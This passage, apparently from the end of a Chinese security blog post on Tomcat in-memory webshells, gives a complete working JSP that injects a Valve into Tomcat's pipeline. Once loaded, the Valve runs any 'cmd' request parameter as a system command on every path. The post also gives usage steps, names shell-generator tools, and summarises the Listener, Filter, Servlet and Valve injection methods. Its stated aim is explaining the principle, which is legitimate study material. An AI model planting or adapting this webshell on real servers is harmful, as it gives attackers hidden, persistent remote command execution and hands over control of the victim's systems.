<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext();
Pipeline pipeline = standardContext.getPipeline();%>

<%!
class ValveShell extends ValveBase {

@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace(); }catch (NullPointerException n){
n.printStackTrace(); } } } }%>

<%
ValveShell valveshell = new ValveShell();
pipeline.addValve(valveshell);%>

先访问注册

然后访问任意路径即可执行命令

弹出计算器说明写的没问题

内存马的生成与利用

关于内存马的生成,目前内存马的形式太多,真实情况下,肯定不会自己手搓内存马,本篇文章只是为了分析内存马的原理而写,可以使用内存马生成工具或者一些Webshell管理工具自带的,我经常用到生成工具是一个叫JMG的工具,可以自定义生成各种内存马,感觉还可以。

关于利用,不同的场景有不同的利用,情况太多,不管是出于什么目的注入,比如说不出网利用还是其他,如果存在框架漏洞,一般那种框架漏洞利用工具会提供注入内存马的功能,如果需要手工注入时,只能说看场景注就完事了。

总结

该篇分析了Tomcat的四种类型内存马,Listener型内存马是使用StandardContext#addApplicationEventListener()方法添加恶意Listener;Filter型内存马主要是需要添加FilterDefFilterMapFilterConfig三个属性并把它添加进FilterConfigs中,这样tomcat就会读取到恶意Filter的FilterConfig,从而把恶意Filter添加进Filters中,最终被添加到内存中从而可以接受参数执行命令。Servlet型我在流程图上已经画了,Valve型算是最简单的,获取对象后直接addValve()即可。

参考链接

https://pdai.tech/md/framework/tomcat/tomcat-x-arch.html
https://drun1baby.top/2022/08/19/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-01-%E5%9F%BA%E7%A1%80%E5%86%85%E5%AE%B9%E5%AD%A6%E4%B9%A0/#0x03-Tomcat-%E5%9F%BA%E7%A1%80%E4%BB%8B%E7%BB%8D
https://goodapple.top/archives/1359